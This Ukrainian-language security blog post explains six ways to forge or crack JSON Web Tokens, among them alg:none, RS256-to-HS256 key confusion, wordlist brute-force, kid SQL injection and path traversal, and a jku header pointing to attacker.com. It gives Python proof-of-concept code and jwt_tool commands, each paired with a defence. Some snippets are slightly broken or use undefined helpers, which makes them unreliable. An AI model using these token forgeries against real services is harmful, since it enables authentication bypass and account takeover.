Research / JWT: всі способи зламати токен
RESEARCH
UA EN

JWT: всі способи зламати токен

✍ admin 📅 10.06.2026 👁 125

Що таке JWT

JWT (JSON Web Token) — стандарт для передачі claims між сторонами у вигляді підписаного JSON об'єкту. Широко використовується для авторизації в REST API і SPA.

Структура:

header.payload.signature
// Header (base64url decoded)
{"alg": "HS256", "typ": "JWT"}

// Payload
{"sub": "1234", "username": "user", "role": "user", "iat": 1716000000}

// Signature
HMACSHA256(base64url(header) + "." + base64url(payload), secret)

Повний токен виглядає так:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0IiwidXNlcm5hbWUiOiJ1c2VyIiwicm9sZSI6InVzZXIifQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

Атака 1: Algorithm None (CVE-2015-9235)

Суть: деякі бібліотеки приймають токени з "alg": "none" — тобто без підпису взагалі.

Exploit:

import base64, json

# Оригінальний токен: role=user
# Ціль: змінити role=admin без знання секрету

header = base64url_encode({"alg": "none", "typ": "JWT"})
payload = base64url_encode({"sub": "1234", "role": "admin"})
token = f"{header}.{payload}."  # підпис порожній

# Відправити у Authorization header
# Python PoC
import base64, json

def b64url(data):
    return base64.urlsafe_b64encode(json.dumps(data, separators=(',',':')).encode()).rstrip(b'=').decode()

header  = b64url({"alg": "none", "typ": "JWT"})
payload = b64url({"sub": "1234", "username": "admin", "role": "admin", "iat": 1716000000})
token   = f"{header}.{payload}."
print(token)

Захист: явно вказувати допустимі алгоритми у бібліотеці; ніколи не приймати none.


Атака 2: RS256 → HS256 Key Confusion

Суть: сервер використовує RS256 (асиметричне шифрування). Публічний ключ відомий всім. Якщо бібліотека не фіксує алгоритм — можна змінити alg з RS256 на HS256 і підписати токен публічним ключем як HMAC-секретом. Сервер перевірить підпис тим самим публічним ключем — і прийме!

Exploit:

import jwt  # PyJWT

# 1. Отримай публічний ключ сервера
# (часто доступний на /api/jwks.json або /.well-known/jwks.json)
public_key = open("server_public_key.pem").read()

# 2. Підпиши змінений payload публічним ключем через HS256
payload = {"sub": "1337", "role": "admin"}
token = jwt.encode(payload, public_key, algorithm="HS256")
print(token)

# 3. Відправ токен — сервер верифікує HS256 тим самим публічним ключем

Захист: фіксувати алгоритм при верифікації: jwt.decode(token, key, algorithms=["RS256"]).


Атака 3: Brute-Force слабкого секрету (HS256)

Суть: якщо HMAC-секрет слабкий — можна підібрати його і підписувати довільні токени.

# hashcat
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt

# john
john jwt.txt --wordlist=rockyou.txt --format=HMAC-SHA256

# jwt_tool
python3 jwt_tool.py TOKEN -C -d rockyou.txt

Python підбір:

import hmac, hashlib, base64, json

def sign(header, payload, secret):
    msg = f"{b64url(header)}.{b64url(payload)}".encode()
    return base64.urlsafe_b64encode(
        hmac.new(secret.encode(), msg, hashlib.sha256).digest()
    ).rstrip(b'=').decode()

target_sig = "SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"

with open('rockyou.txt', 'rb') as f:
    for line in f:
        secret = line.strip().decode(errors='ignore')
        if sign(header, payload, secret) == target_sig:
            print(f"Secret found: {secret}")
            break

Захист: використовувати криптографічно стійкі секрети >= 256 біт (32+ байти випадкових даних).


Атака 4: kid (Key ID) Injection

Суть: параметр kid у header вказує яким ключем підписаний токен. Якщо сервер використовує kid для вибору ключа з бази даних або файлової системи — можлива ін'єкція.

SQL Injection через kid

{
  "alg": "HS256",
  "kid": "' UNION SELECT 'attacker_secret' -- "
}

Якщо сервер виконує SELECT key FROM keys WHERE id = '{kid}' — ін'єкція підставляє відомий секрет, яким атакуючий і підписує токен.

Path Traversal через kid

{
  "alg": "HS256",
  "kid": "../../dev/null"
}

Сервер читає /dev/null як ключ (порожній рядок) → атакуючий підписує токен порожнім секретом.


Атака 5: jku / x5u Header Injection

Суть: параметри jku (JWK Set URL) і x5u (X.509 Certificate URL) вказують звідки завантажити публічний ключ для верифікації. Якщо сервер не валідує URL — можна вказати свій сервер.

{
  "alg": "RS256",
  "jku": "https://attacker.com/jwks.json"
}

Exploit: 1. Генеруємо RSA пару ключів 2. Публікуємо публічний ключ на attacker.com/jwks.json 3. Підписуємо токен своїм приватним ключем 4. Сервер завантажує наш публічний ключ і успішно верифікує токен

# Генерація JWKS
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
import json, base64

private_key = rsa.generate_private_key(65537, 2048, default_backend())
public_key  = private_key.public_key()
pub_numbers = public_key.public_key().public_numbers()

jwks = {
    "keys": [{
        "kty": "RSA",
        "use": "sig",
        "alg": "RS256",
        "kid": "attacker-key",
        "n": base64.urlsafe_b64encode(pub_numbers.n.to_bytes(256,'big')).rstrip(b'=').decode(),
        "e": base64.urlsafe_b64encode(pub_numbers.e.to_bytes(3,'big')).rstrip(b'=').decode(),
    }]
}
print(json.dumps(jwks))

Атака 6: Embedded JWK

Суть: заголовок JWT може містити параметр jwk — вбудований публічний ключ. Вразливі бібліотеки верифікують підпис цим же ключем.

{
  "alg": "RS256",
  "jwk": {
    "kty": "RSA",
    "n": "ATTACKER_PUBLIC_KEY_N",
    "e": "AQAB"
  }
}

Інструменти

# jwt_tool — швейцарський ніж для JWT
git clone https://github.com/ticarpi/jwt_tool
python3 jwt_tool.py TOKEN              # декодувати
python3 jwt_tool.py TOKEN -T           # інтерактивна зміна
python3 jwt_tool.py TOKEN -X a         # alg:none атака
python3 jwt_tool.py TOKEN -X s         # RS256->HS256
python3 jwt_tool.py TOKEN -C -d wordlist.txt  # brute-force

# Burp Suite → JWT Editor extension
# jwt.io — декодування в браузері

Захист

Вразливість Захист
alg:none Явно вказати допустимі алгоритми при верифікації
RS256→HS256 algorithms=["RS256"] — не довіряти заголовку
Слабкий секрет >= 32 байти з CSPRNG
kid injection Параметизовані запити; whitelist kid значень
jku/x5u Не довіряти цим заголовкам; фіксувати URL ключів
Embedded JWK Ігнорувати jwk в заголовку; використовувати сервер-ключ
Коментарі (0)
Увійди, щоб залишити коментар.
Коментарів поки немає.
Вперше тут?
Новачок на Bastion?
Почни з гайду користувача.
Відкрити гайд →
?